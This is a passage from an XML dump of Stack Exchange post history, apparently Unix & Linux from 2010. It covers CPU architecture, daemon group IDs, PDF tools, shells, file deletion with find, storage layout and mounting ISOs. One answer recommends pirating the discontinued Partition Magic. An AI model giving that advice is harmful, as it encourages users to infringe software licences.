  <row Id="7164" PostHistoryTypeId="5" PostId="3343" RevisionGUID="ea614fcc-d991-4044-b253-4a06200276ae" CreationDate="2010-10-21T16:58:28.143" UserId="1327" Comment="added 278 characters in body" Text="I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?&#xD;&#xA;&#xD;&#xA;Below is the result of `cat /proc/cpuinfo` (there are 2 CPUs, but the information is the same)&#xD;&#xA;&#xD;&#xA;    processor       : 1&#xD;&#xA;    vendor_id       : GenuineIntel&#xD;&#xA;    cpu family      : 15&#xD;&#xA;    model           : 4&#xD;&#xA;    model name      : Intel(R) Pentium(R) 4 CPU 3.00GHz&#xD;&#xA;    stepping	    : 3&#xD;&#xA;    cpu MHz         : 2800.000&#xD;&#xA;    cache size      : 2048 KB&#xD;&#xA;    physical id     : 0&#xD;&#xA;    siblings	    : 2&#xD;&#xA;    core id         : 0&#xD;&#xA;    cpu cores       : 1&#xD;&#xA;    apicid          : 1&#xD;&#xA;    initial apicid  : 1&#xD;&#xA;    fpu             : yes&#xD;&#xA;    fpu_exception   : yes&#xD;&#xA;    cpuid level     : 5&#xD;&#xA;    wp              : yes&#xD;&#xA;    flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca&#xD;&#xA;                        cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht&#xD;&#xA;                        tm pbe syscall nx lm constant_tsc pebs bts pni dtes64&#xD;&#xA;                        monitor ds_cpl est cid cx16 xtpr&#xD;&#xA;    bogomips        : 6000.41&#xD;&#xA;    clflush size    : 64&#xD;&#xA;    cache_alignment : 128&#xD;&#xA;    address sizes   : 36 bits physical, 48 bits virtual&#xD;&#xA;    power management:" />
  <row Id="7165" PostHistoryTypeId="2" PostId="3376" RevisionGUID="fe24bc1d-5e7e-4192-85fe-626947dd2c4a" CreationDate="2010-10-21T16:59:44.400" UserId="663" Text="I'm porting a Debian init.d script to CentOS. In the Debian script, it uses start-stop-daemon for launching the process. The script uses start-stop-daemon's --group flag to change to a different group-id when starting the daemon process. &#xD;&#xA;&#xD;&#xA;How do I set the group-id of the daemon process in the init script on CentOS?" />
  <row Id="7166" PostHistoryTypeId="1" PostId="3376" RevisionGUID="fe24bc1d-5e7e-4192-85fe-626947dd2c4a" CreationDate="2010-10-21T16:59:44.400" UserId="663" Text="How do I set the group (gid) of a process I'm about to launch?" />
  <row Id="7167" PostHistoryTypeId="3" PostId="3376" RevisionGUID="fe24bc1d-5e7e-4192-85fe-626947dd2c4a" CreationDate="2010-10-21T16:59:44.400" UserId="663" Text="écentosàérhelàéinitöscriptà" />
  <row Id="7168" PostHistoryTypeId="8" PostId="3343" RevisionGUID="bcd813f9-b406-403d-b863-8fa5aae296b3" CreationDate="2010-10-21T17:14:30.567" UserId="250" Comment="Rollback to [b31a0f91-e112-4c95-a9b0-9bafe2a972f6]" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?&#xD;&#xA;&#xD;&#xA;Below is the result of `cat /proc/cpuinfo` (there are 2 CPUs, but the information is the same)&#xD;&#xA;&lt;pre&gt;processor	: 1&#xD;&#xA;vendor_id	: GenuineIntel&#xD;&#xA;cpu family	: 15&#xD;&#xA;model		: 4&#xD;&#xA;model name	: Intel(R) Pentium(R) 4 CPU 3.00GHz&#xD;&#xA;stepping	: 3&#xD;&#xA;cpu MHz		: 2800.000&#xD;&#xA;cache size	: 2048 KB&#xD;&#xA;physical id	: 0&#xD;&#xA;siblings	: 2&#xD;&#xA;core id		: 0&#xD;&#xA;cpu cores	: 1&#xD;&#xA;apicid		: 1&#xD;&#xA;initial apicid	: 1&#xD;&#xA;fpu		: yes&#xD;&#xA;fpu_exception	: yes&#xD;&#xA;cpuid level	: 5&#xD;&#xA;wp		: yes&#xD;&#xA;flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc pebs bts pni dtes64 monitor ds_cpl est cid cx16 xtpr&#xD;&#xA;bogomips	: 6000.41&#xD;&#xA;clflush size	: 64&#xD;&#xA;cache_alignment	: 128&#xD;&#xA;address sizes	: 36 bits physical, 48 bits virtual&#xD;&#xA;power management:&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="7169" PostHistoryTypeId="5" PostId="3343" RevisionGUID="1048a807-576e-43ec-9fdc-cbcc3e4d1019" CreationDate="2010-10-21T17:16:44.167" UserId="250" Comment="added 4 characters in body; added 133 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have just tried booting the Ubuntu 10.10 64 bit live USB on this machine and to my amazement everything works fine. I even installed the system, after which I checked with `uname -a` and the result is&#xD;&#xA;&#xD;&#xA;&gt;Linux T205-04 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:32:27 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;This is quite confusing to me. To my knowledge Pentium 4 is 32 bit only. How was that possible?&#xD;&#xA;&#xD;&#xA;Below is the result of `cat /proc/cpuinfo` (there are 2 CPUs, but the information is the same)&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;processor       : 1&#xD;&#xA;vendor_id       : GenuineIntel&#xD;&#xA;cpu family      : 15&#xD;&#xA;model           : 4&#xD;&#xA;model name      : Intel(R) Pentium(R) 4 CPU 3.00GHz&#xD;&#xA;stepping        : 3&#xD;&#xA;cpu MHz         : 2800.000&#xD;&#xA;cache size      : 2048 KB&#xD;&#xA;physical id     : 0&#xD;&#xA;siblings        : 2&#xD;&#xA;core id         : 0&#xD;&#xA;cpu cores       : 1&#xD;&#xA;apicid          : 1&#xD;&#xA;initial apicid  : 1&#xD;&#xA;fpu             : yes&#xD;&#xA;fpu_exception   : yes&#xD;&#xA;cpuid level     : 5&#xD;&#xA;wp              : yes&#xD;&#xA;flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov&#xD;&#xA; pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm&#xD;&#xA; constant_tsc pebs bts pni dtes64 monitor ds_cpl est cid cx16 xtpr&#xD;&#xA;bogomips        : 6000.41&#xD;&#xA;clflush size    : 64&#xD;&#xA;cache_alignment : 128&#xD;&#xA;address sizes   : 36 bits physical, 48 bits virtual&#xD;&#xA;power management:&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="7170" PostHistoryTypeId="2" PostId="3377" RevisionGUID="d3f50380-80cd-4870-9f67-4e6ad944abad" CreationDate="2010-10-21T18:02:05.840" UserId="1941" Text="There is [setuidgid][1]: &quot;setuidgid runs another program under a specified account's uid and gid.&quot;&#xD;&#xA;&#xD;&#xA;It is part of daemontools, however, it probably is not available in the CentOS repositories due to DJBs strange licenses. So you might have to find a RPM somewhere or build from source.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cr.yp.to/daemontools/setuidgid.html" />
  <row Id="7172" PostHistoryTypeId="5" PostId="3377" RevisionGUID="175ad8f7-f32d-4fb4-88ef-9ff149d1d459" CreationDate="2010-10-21T18:38:25.957" UserId="1941" Comment="added 54 characters in body" Text="There is [setuidgid][1]: &quot;setuidgid runs another program under a specified account's uid and gid.&quot;&#xD;&#xA;&#xD;&#xA;It is part of daemontools, however, it probably is not available in the CentOS repositories due to DJBs strange licenses. So you might have to find a RPM (e.g. [here][2]) or build from source.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cr.yp.to/daemontools/setuidgid.html&#xD;&#xA;  [2]: http://qmail.org/rpms/daemontools.html" />
  <row Id="7173" PostHistoryTypeId="2" PostId="3378" RevisionGUID="66e8f23f-a3a4-49cc-b42d-af8fa84fde29" CreationDate="2010-10-21T18:44:28.727" UserId="305" Text="I need to do some basic editing on existing PDF file. I.e. I need to:&#xD;&#xA;&#xD;&#xA; - Add chapters&#xD;&#xA; - Change some page numbering&#xD;&#xA;&#xD;&#xA;However I cannot find any tool - GUI or commandline - which would offer this functionality. Is there any alternative to just write such tool myself?" />
  <row Id="7174" PostHistoryTypeId="1" PostId="3378" RevisionGUID="66e8f23f-a3a4-49cc-b42d-af8fa84fde29" CreationDate="2010-10-21T18:44:28.727" UserId="305" Text="Modifing PDF files" />
  <row Id="7175" PostHistoryTypeId="3" PostId="3378" RevisionGUID="66e8f23f-a3a4-49cc-b42d-af8fa84fde29" CreationDate="2010-10-21T18:44:28.727" UserId="305" Text="écommandölineàéeditorsàéguiàépdfà" />
  <row Id="7177" PostHistoryTypeId="2" PostId="3380" RevisionGUID="2e60ba81-9d5f-47c9-a3f3-d8ab97f5423a" CreationDate="2010-10-21T18:49:00.443" UserId="1131" Text="Is there is something like a [Rosetta Stone][1] for the different Linux Distributions?&#xD;&#xA;&#xD;&#xA;Perhaps a site where you can look up a commands, configuration files or problem solutions for a specific task organized as translations of ones of another distribution (you know well).&#xD;&#xA;&#xD;&#xA;For example you know Debian based distributions well and you want to know the Fedora equivalent to&#xD;&#xA;&#xD;&#xA;    dpkg -S /bin/bar&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections &gt; foo&#xD;&#xA;    dpkg --set-selections &lt; foo&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    apt-cache search foobar --names-only&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;There is [a Rosetta Stone for different Unices][2], but it is not that detailed and does not really differentiates between different Distributions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Rosetta_Stone&#xD;&#xA;  [2]: http://bhami.com/rosetta.html" />
  <row Id="7178" PostHistoryTypeId="1" PostId="3380" RevisionGUID="2e60ba81-9d5f-47c9-a3f3-d8ab97f5423a" CreationDate="2010-10-21T18:49:00.443" UserId="1131" Text="Rosetta Stone for Linux Distributions?" />
  <row Id="7179" PostHistoryTypeId="3" PostId="3380" RevisionGUID="2e60ba81-9d5f-47c9-a3f3-d8ab97f5423a" CreationDate="2010-10-21T18:49:00.443" UserId="1131" Text="élinuxàédistrosà" />
  <row Id="7180" PostHistoryTypeId="2" PostId="3381" RevisionGUID="a61e3be7-fd0d-430b-82eb-82d740a092ef" CreationDate="2010-10-21T18:49:12.493" UserId="2117" Text="I think adobe works fine for all this." />
  <row Id="7181" PostHistoryTypeId="5" PostId="3378" RevisionGUID="9cd42c83-80f1-47ec-b8c0-c23055f3e00b" CreationDate="2010-10-21T18:52:40.943" UserId="305" Comment="added 52 characters in body" Text="I need to do some basic editing on existing PDF file. I.e. I need to:&#xD;&#xA;&#xD;&#xA; - Add chapters&#xD;&#xA; - Change some page numbering&#xD;&#xA;&#xD;&#xA;However I cannot find any tool - GUI or commandline - which would offer this functionality. Is there any alternative to just write such tool myself?&#xD;&#xA;&#xD;&#xA;PS. I look only for free tools. Preferably open." />
  <row Id="7183" PostHistoryTypeId="2" PostId="3383" RevisionGUID="b30272b2-9374-4296-9f80-145f111fdad1" CreationDate="2010-10-21T18:57:24.727" UserId="1941" Text="I know two programs for manipulating PDFs under Linux:&#xD;&#xA;&#xD;&#xA;[PDEedit][1] &quot;Pdf Editor is primary created for simple editation and manipulation with objects of documents in PDF format and storing them as new version of document. Editation and manipulation with objets is by graphical and by commandline interface too. For simple use command line is using script language, which is usefull in graphical interface too.&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;[pdftk][2] &quot;If PDF is electronic paper, then pdftk is an electronic staple-remover, hole-punch, binder, secret-decoder-ring, and X-Ray-glasses. Pdftk is a simple tool for doing everyday things with PDF documents.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pdfedit.petricek.net/en/index.html&#xD;&#xA;  [2]: http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/" />
  <row Id="7184" PostHistoryTypeId="2" PostId="3384" RevisionGUID="0b8bf06f-3c6c-4bfa-bd7b-1f6c5755fa39" CreationDate="2010-10-21T19:28:12.867" UserId="1071" Text="I use pdftk mainly. But here are some others to consider:&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.pdfsam.org/?page_id=42&quot;&gt;pdfsam (PDF Split and Merge)&lt;/a&gt;: &quot;pdfsam is an open source tool (GPL license) designed to handle pdf files&quot;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www2.warwick.ac.uk/fac/sci/statistics/staff/academic/firth/software/pdfjam/&quot;&gt;PDFJam&lt;/a&gt; &quot;A small collection of shell scripts which provide a simple interface to much of the functionality of the excellent pdfpages PDF file package (by Andreas Matthias) for &lt;a href=&quot;http://www.tug.org/applications/pdftex/&quot;&gt;pdfLaTeX&lt;/a&gt;.&quot; (You can also use pdfLaTeX directly.)&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://jpdftweak.sourceforge.net/&quot;&gt;jPDFTweak&lt;/a&gt;: &quot;jPDF Tweak is a Java Swing application that can combine, split, rotate, reorder, watermark, encrypt, sign, and otherwise tweak PDF files.&quot;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://inkscape.org&quot;&gt;Inkscape:&lt;/a&gt; is a vector graphics editor that can both import PDF pages into its native SVG format, and also export as PDF.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://calibre-ebook.com/&quot;&gt;Calibre:&lt;/a&gt; Open source ebook management software that can convert PDFs to other formats, and manipulate them in other ways. Comes with command line tools such as &lt;a href=&quot;http://calibre-ebook.com/user_manual/cli/pdfmanipulate.html&quot;&gt;pdfmanipulate&lt;/a&gt; which can be useful.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://pages.cs.wisc.edu/~ghost/&quot;&gt;Ghostscript&lt;/a&gt; of course can do a lot of things with PDF files too.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7185" PostHistoryTypeId="2" PostId="3385" RevisionGUID="ef421072-1760-4d96-913e-c3a842a66092" CreationDate="2010-10-21T19:35:07.673" UserId="2381" Text="Back in the old days, when AT&amp;T invented UNIX, there was Bourne Shell, written by Steve Bourne.  It was pretty basic, and lacked a lot of tools we take for granted nowadays.&#xD;&#xA;&#xD;&#xA;AT&amp;T wasn't really in the UNIX business, so at this time the very basic OS was adopted somewhat by Berkelely, and they made some changes into BSD UNIX.  Among many changes, was a new shell, called csh, which had a lot of improvements over sh, including job control better interactive use and so on.  Unfortunately, they decided the sh programming syntax sucked and created their own, (somewhat badly) copied from C coding styles.  (A classic rant is http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/) So now there were two syntaxes.&#xD;&#xA;&#xD;&#xA;Later, they made improvements to CSH adding tab completion and some other things.  This became tcsh, and if you use CSH, this is probably the one you use.&#xD;&#xA;&#xD;&#xA;AT&amp;T decided it wasn't totally out of the UNIX business, and they polished it up too.  David Korn (nice guy) created the Korn shell.  Based on the idea of extending Bourne shell syntax, it added a lot of things for both programmers and interactive use.  There are actually a few versions, and you may rarely see things like ksh88 and ksh93, denoting the variants. &#xD;&#xA;&#xD;&#xA;Then came FSF and the GNU OS.  They wanted to make their own UNIX-compatible OS named the Hurd, and wanted a better shell for it.  They called bash, for Bourne Again SHell.  POSIX rules came in just around this time, and they wanted to make **the** POSIX shell. They looked around, taking the syntax from Bourne shell and the improvements from Korn shell, plus stealing and extending the interactive features from tcsh.  It became the de facto shell on Linux, so it's very common.&#xD;&#xA;&#xD;&#xA;There's also the zsh, written to be the 'ultimate' shell.  It's also very common in the Linux world.  It extended bash (and cross pollinated a bit, some new things went back to bash).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If i were to pick a shell, I'd pick bash or zsh.  bash is possibly in a few  more places than zsh. zsh is more powerful, but bash has been fine for me. &#xD;&#xA;Real /bin/sh Bourne shell is around just for historical reasons.  bash has pretty much all that ksh has to offer and more.  The syntax is cleaner than csh or tcsh, and has better features than either one of them.  &#xD;&#xA;&#xD;&#xA;To convert a script depends on from what to what. Bourne shell style (sh, ksh, bash, zsh) to or from csh style (csh, tcsh) will be hard. Going from old to newer (/bin/sh =&gt; bash, /bin/ksh =&gt; zsh) will be easier than the other way." />
  <row Id="7186" PostHistoryTypeId="2" PostId="3386" RevisionGUID="9e75b248-087f-4c09-8898-1104300baf6e" CreationDate="2010-10-21T19:40:36.680" UserId="2381" Text="You might also want to look at `pushd` and `popd`, which create a stack of directories to remember where you were." />
  <row Id="7188" PostHistoryTypeId="5" PostId="3312" RevisionGUID="1a1cb106-d12d-4700-acfe-5ce9b2cb0cbe" CreationDate="2010-10-21T20:22:11.890" UserId="29" Comment="comment on piracy" Text="The best tool I found for resizing ntfs, ever, was partition magic, and unlike gparted it could move the partition on either side. You should look for an old copy of this, and pirate it (it's no longer available windows software), it's ext supports sucks (only because it hasn't been updated in years). I then recommend making your ext partitions *before* the ntfs partition, and use gparted to grow the ext partition, and partition magic to shrink the ntfs partition, from windows.&#xD;&#xA;&#xD;&#xA;*I realize some may consider piracy unacceptable, I believe that it was truly unfortunate that Symantec(?) discontinued Partition Magic years ago, as I have found no better tools for resizing partitions.*" />
  <row Id="7189" PostHistoryTypeId="5" PostId="3378" RevisionGUID="57a15db9-b3e2-47be-b01c-971abd372ad2" CreationDate="2010-10-21T20:23:50.670" UserId="305" Comment="added 10 characters in body" Text="I need to do some basic editing on existing PDF file. I.e. I need to:&#xD;&#xA;&#xD;&#xA; - Add chapters/bookmarks&#xD;&#xA; - Change some page numbering&#xD;&#xA;&#xD;&#xA;However I cannot find any tool - GUI or commandline - which would offer this functionality. Is there any alternative to just write such tool myself?&#xD;&#xA;&#xD;&#xA;PS. I look only for free tools. Preferably open." />
  <row Id="7190" PostHistoryTypeId="2" PostId="3387" RevisionGUID="50e46c90-19b2-4673-abd3-03fd0e02a848" CreationDate="2010-10-21T20:25:08.327" UserId="885" Text="If CentOS doesn't provide any better way (which would surprise me a little), you can fall back on `su`'s lesser known counterpart, `sg`:&#xD;&#xA;&#xD;&#xA;    sg foogroup -c 'exec foodaemon --bar'&#xD;&#xA;" />
  <row Id="7191" PostHistoryTypeId="2" PostId="3388" RevisionGUID="aeefc8cf-1e88-4df1-bb94-e9203c65ad5d" CreationDate="2010-10-21T20:43:21.793" UserId="885" Text="In each example, the first command lists files whose name contain a `€` and the second command deletes them.&#xD;&#xA;&#xD;&#xA;Using GNU find (as found on Linux):&#xD;&#xA;&#xD;&#xA;    find -name '*€*' -ls&#xD;&#xA;    find -name '*€*' -delete&#xD;&#xA;&#xD;&#xA;Add `-type f` after `-name '*€*'` if you only want to match regular files and not directories as well.&#xD;&#xA;&#xD;&#xA;Using find, relying only on POSIX features:&#xD;&#xA;&#xD;&#xA;    find . -name '*€*' -print&#xD;&#xA;    find . -name '*€*' -exec rm {} +&#xD;&#xA;&#xD;&#xA;Add `-type f` after `-name '*€*'` if you only want to match regular files and not directories as well.&#xD;&#xA;&#xD;&#xA;Using bash 4 or zsh:&#xD;&#xA;&#xD;&#xA;    echo **/*€*&#xD;&#xA;    rm **/*€*&#xD;&#xA;&#xD;&#xA;Under zsh only, `**/*€*(.)` restricts the matching to regular files, excluding directories.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you only want to list files that have `€` in their names and such that an identical file without the `€` exists, here are standard find and zsh solutions.&#xD;&#xA;&#xD;&#xA;    find . -name '*€*' -type f -exec sh -c 'cmp -s -- &quot;$0&quot; &quot;$(printf &quot;%s&quot; &quot;$0&quot; | tr -d &quot;€&quot;)&quot;' {} \; -print&#xD;&#xA;    find . -name '*€*' -type f -exec bash -c 'cmp -s -- &quot;$0&quot; &quot;${0//€/}&quot;)&quot;' {} \; -print&#xD;&#xA;    echo **/*€*(.e\''cmp -s -- $REPLY ${REPLY//€/}'\')&#xD;&#xA;" />
  <row Id="7192" PostHistoryTypeId="2" PostId="3389" RevisionGUID="70636613-336b-42b0-8127-da5b1856b730" CreationDate="2010-10-21T21:17:27.920" UserDisplayName="oposit" Text="pdfimport for openoffice is a good alternative to edit PDF documents and re-export to PDF or save to another format. The imported PDF can be edited with OpenOffice Draw." />
  <row Id="7193" PostHistoryTypeId="2" PostId="3390" RevisionGUID="8b1709d6-0010-424b-8196-33ddd7db8f93" CreationDate="2010-10-21T21:49:59.277" UserId="885" Text="For interactive use, there are two main contenders, [bash](http://www.gnu.org/software/bash) and [zsh](http://www.zsh.org/), plus the straggler [tcsh](http://www.tcsh.org/) and the newcomer [fish](http://fishshell.org/).&#xD;&#xA;&#xD;&#xA;Bash is the official shell of the GNU project and the default shell on most Linux distributions. On other unices that don't ship with a decent interactive shell as part of the base installation, I think bash is what people tend to choose, in a self-reinforcement “bash is everywhere so I'll use it too” loop. See also [Why is bash everywhere?](http://superuser.com/questions/61727/why-is-bash-everywhere) (with a lot of historical information).&#xD;&#xA;&#xD;&#xA;Zsh has almost every feature of bash and many more (useful!) features. Its main downside is being less well-known, which as a practical matter means you're less likely to find it already installed on a system someone else set up and there is less third-party documentation about it. See also [What zsh features do you use?](http://superuser.com/questions/2127/what-zsh-features-do-you-use), [What features are in zsh and missing from bash, or vice versa?](http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa).&#xD;&#xA;&#xD;&#xA;Tcsh was once (in the 1980s) or so the shell with the best interactive features, like its predecessor csh. Zsh caught up with tcsh and fairly quickly improved further, and bash caught up (with programmable completion) in the early 2000s. Therefore there is little reason to learn tcsh now.&#xD;&#xA;&#xD;&#xA;Fish tries to be cleaner than its predecessors. It has some neat features (simpler syntax, syntax coloring on the command line) but lacks others (whatever the author doesn't like). The fish community is a lot smaller than even zsh's, making the effects even more acute. See also [What are the differences between fish and zsh ?](http://superuser.com/questions/127587/what-are-the-differences-between-fish-and-zsh).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7195" PostHistoryTypeId="2" PostId="3392" RevisionGUID="f5a6d529-b516-40e8-a256-4099a2b8b4d2" CreationDate="2010-10-22T01:35:47.150" UserId="1942" Text="When I was doing dual boot all my extra storage was simple in /win/d, /win//e, /win/f, ... and formated ntfs.&#xD;&#xA;&#xD;&#xA;Now the desktop only runs Windows in a VM, and I access all my partitions from samba ( except for the destop ).&#xD;&#xA;&#xD;&#xA;I'm totally confused how to organise things.&#xD;&#xA;&#xD;&#xA;So how do you layout your extra HD space that you want multiple users to access ( ps I use different accounts for different things... ie personnas )? Can't all be in /home if different people want to have access to it.&#xD;&#xA;&#xD;&#xA;Also how do you organize your different data: movies, books, music etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7196" PostHistoryTypeId="1" PostId="3392" RevisionGUID="f5a6d529-b516-40e8-a256-4099a2b8b4d2" CreationDate="2010-10-22T01:35:47.150" UserId="1942" Text="How do you layout extra storage." />
  <row Id="7197" PostHistoryTypeId="3" PostId="3392" RevisionGUID="f5a6d529-b516-40e8-a256-4099a2b8b4d2" CreationDate="2010-10-22T01:35:47.150" UserId="1942" Text="éstorageà" />
  <row Id="7198" PostHistoryTypeId="2" PostId="3393" RevisionGUID="8301a65d-8f02-4e5d-919d-38c7a052c18e" CreationDate="2010-10-22T01:58:56.787" UserId="2175" Text="Really finding something that works for *you* is the best option. I always create a new mount point either `/data` or `/storage` depending on my mood. any non transient data I think I might need but is just cluttering up `/home/` gets moved there, as well as shared data. &#xD;&#xA;&#xD;&#xA;as far as how do I organize data: &#xD;&#xA;&#xD;&#xA;`/storage/movies/&lt;big pile-o-moviex`  &#xD;&#xA;`/storage/music/artist/album`  &#xD;&#xA;`/storage/projects/&lt;language&gt;/project`  &#xD;&#xA;`/storage/&lt;logical_category&gt;/&lt;logical_segmentation&gt;`" />
  <row Id="7199" PostHistoryTypeId="2" PostId="3394" RevisionGUID="9528972a-edc1-4c05-88cc-2bf994e43ace" CreationDate="2010-10-22T01:59:38.987" UserId="1571" Text="So you want to have different people have access to the same mounted devices? The standard places are /mnt, /opt, /mnt/media. Or you could set a loopback mount to /home/&lt;username&gt;/&lt;whatever&gt;. There are lots of options, you can do wahtever you want.&#xD;&#xA;&#xD;&#xA;Personally I think having different logins is stupid unless you have a security issue or something." />
  <row Id="7200" PostHistoryTypeId="5" PostId="3392" RevisionGUID="11442087-1b27-4e9f-89cc-f11999fd2f0a" CreationDate="2010-10-22T02:07:57.583" UserId="1942" Comment="added 131 characters in body" Text="When I was doing dual boot all my extra storage was simple in /win/d, /win//e, /win/f, ... and formated ntfs.&#xD;&#xA;&#xD;&#xA;Now the desktop only runs Windows in a VM, and I access all my partitions from samba ( except for the destop ).&#xD;&#xA;&#xD;&#xA;I'm totally confused how to organise things.&#xD;&#xA;&#xD;&#xA;So how do you layout your extra HD space that you want multiple users to access ( ps I use different accounts for different things... ie personnas )? Can't all be in /home if different people want to have access to it.&#xD;&#xA;&#xD;&#xA;Also how do you organize your different data: movies, books, music, scripts written on the computer, software projects, software created outside the package system ( I like to keep such separate )  etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7201" PostHistoryTypeId="2" PostId="3395" RevisionGUID="c81413e1-b174-4a02-8ae2-5645e01806c3" CreationDate="2010-10-22T04:59:37.370" UserId="1655" Text="It's called **[POSIX](http://en.wikipedia.org/wiki/POSIX)**. Well, it's POSIX and reading man(1) pages very, very carefully." />
  <row Id="7202" PostHistoryTypeId="2" PostId="3396" RevisionGUID="3f150f60-c239-47d9-9ba8-982e46b5e459" CreationDate="2010-10-22T06:10:13.833" UserId="1942" Text="Is it possible for a user without root access to mount an arbitrary iso?&#xD;&#xA;If so how?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7203" PostHistoryTypeId="1" PostId="3396" RevisionGUID="3f150f60-c239-47d9-9ba8-982e46b5e459" CreationDate="2010-10-22T06:10:13.833" UserId="1942" Text="Mount an iso without root access?" />
  <row Id="7204" PostHistoryTypeId="3" PostId="3396" RevisionGUID="3f150f60-c239-47d9-9ba8-982e46b5e459" CreationDate="2010-10-22T06:10:13.833" UserId="1942" Text="émountàéisoà" />
  <row Id="7205" PostHistoryTypeId="2" PostId="3397" RevisionGUID="228f839b-2892-45cd-b0b1-7fb018e15a80" CreationDate="2010-10-22T06:16:04.690" UserId="2359" Text="The easiest way is probably with `sudo`.  Let's assume that you want everybody in the `cdrom` group able to mount and unmount ISO images.  Make the following addition to the sudoers file using `visudo`:&#xD;&#xA;&#xD;&#xA;    cdrom ALL = /bin/mount -o loop -t iso9660 *.iso /media/*&#xD;&#xA;    cdrom ALL = /bin/umount /media/*&#xD;&#xA;&#xD;&#xA;This should allow anybody in the `cdrom` group to mount a file ending in `.iso` as type `iso9660` on a directory inside the /media folder and also unmount anything in the /media folder." />
  <row Id="7209" PostHistoryTypeId="2" PostId="3399" RevisionGUID="d56ab7db-5194-4319-a61f-6cc262372718" CreationDate="2010-10-22T06:33:22.310" UserId="1941" Text="You can do this without root access using the [fuse][1] module [fuseiso][2]. After fuse and fuseiso have been installed, you can do as a normal user `fuseiso cdimage.iso ~/somedirectory`  to mount it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fuse.sourceforge.net/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/FuseIso" />
  <row Id="7210" PostHistoryTypeId="5" PostId="3368" RevisionGUID="235b7803-5313-4668-abe6-da5b816c38b1" CreationDate="2010-10-22T07:19:42.997" UserId="272" Comment="added 2 characters in body" Text="Something along the lines of&#xD;&#xA;&#xD;&#xA;    find -name '*€*' -delete&#xD;&#xA;&#xD;&#xA;You might want to try this first, to see if the correct files would be delete:&#xD;&#xA;&#xD;&#xA;    find -name '*€*' -ls" />
  <row Id="7211" PostHistoryTypeId="5" PostId="2148" RevisionGUID="14c6f58f-3031-4659-a59e-84954cbb3bd1" CreationDate="2010-10-22T07:29:47.050" UserId="1327" Comment="added 6 characters in body" Text="See this **[question][1]**.&#xD;&#xA;&#xD;&#xA;When you run `ps ax | grep string`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep 'openbox'&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- /usr/bin/openbox-session&#xD;&#xA;     3386 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3388 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3389 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     3390 ?        S      0:00 /bin/sh /usr/bin/openbox-session&#xD;&#xA;     5100 pts/0    S+     0:00 grep openbox&#xD;&#xA;&#xD;&#xA;the last line containing `grep` is somethings a bit **anoying**&#xD;&#xA;&#xD;&#xA;You can rid yourself of this by running `ps ax | grep '[s]tring'`:&#xD;&#xA;&#xD;&#xA;    [steve@sage-arch ~]$ ps ax | grep '[o]penbox'&#xD;&#xA;     3363 ?        Ss     0:00 /usr/bin/openbox&#xD;&#xA;     3382 ?        Ss     0:00 /usr/bin/ssh-agent -- 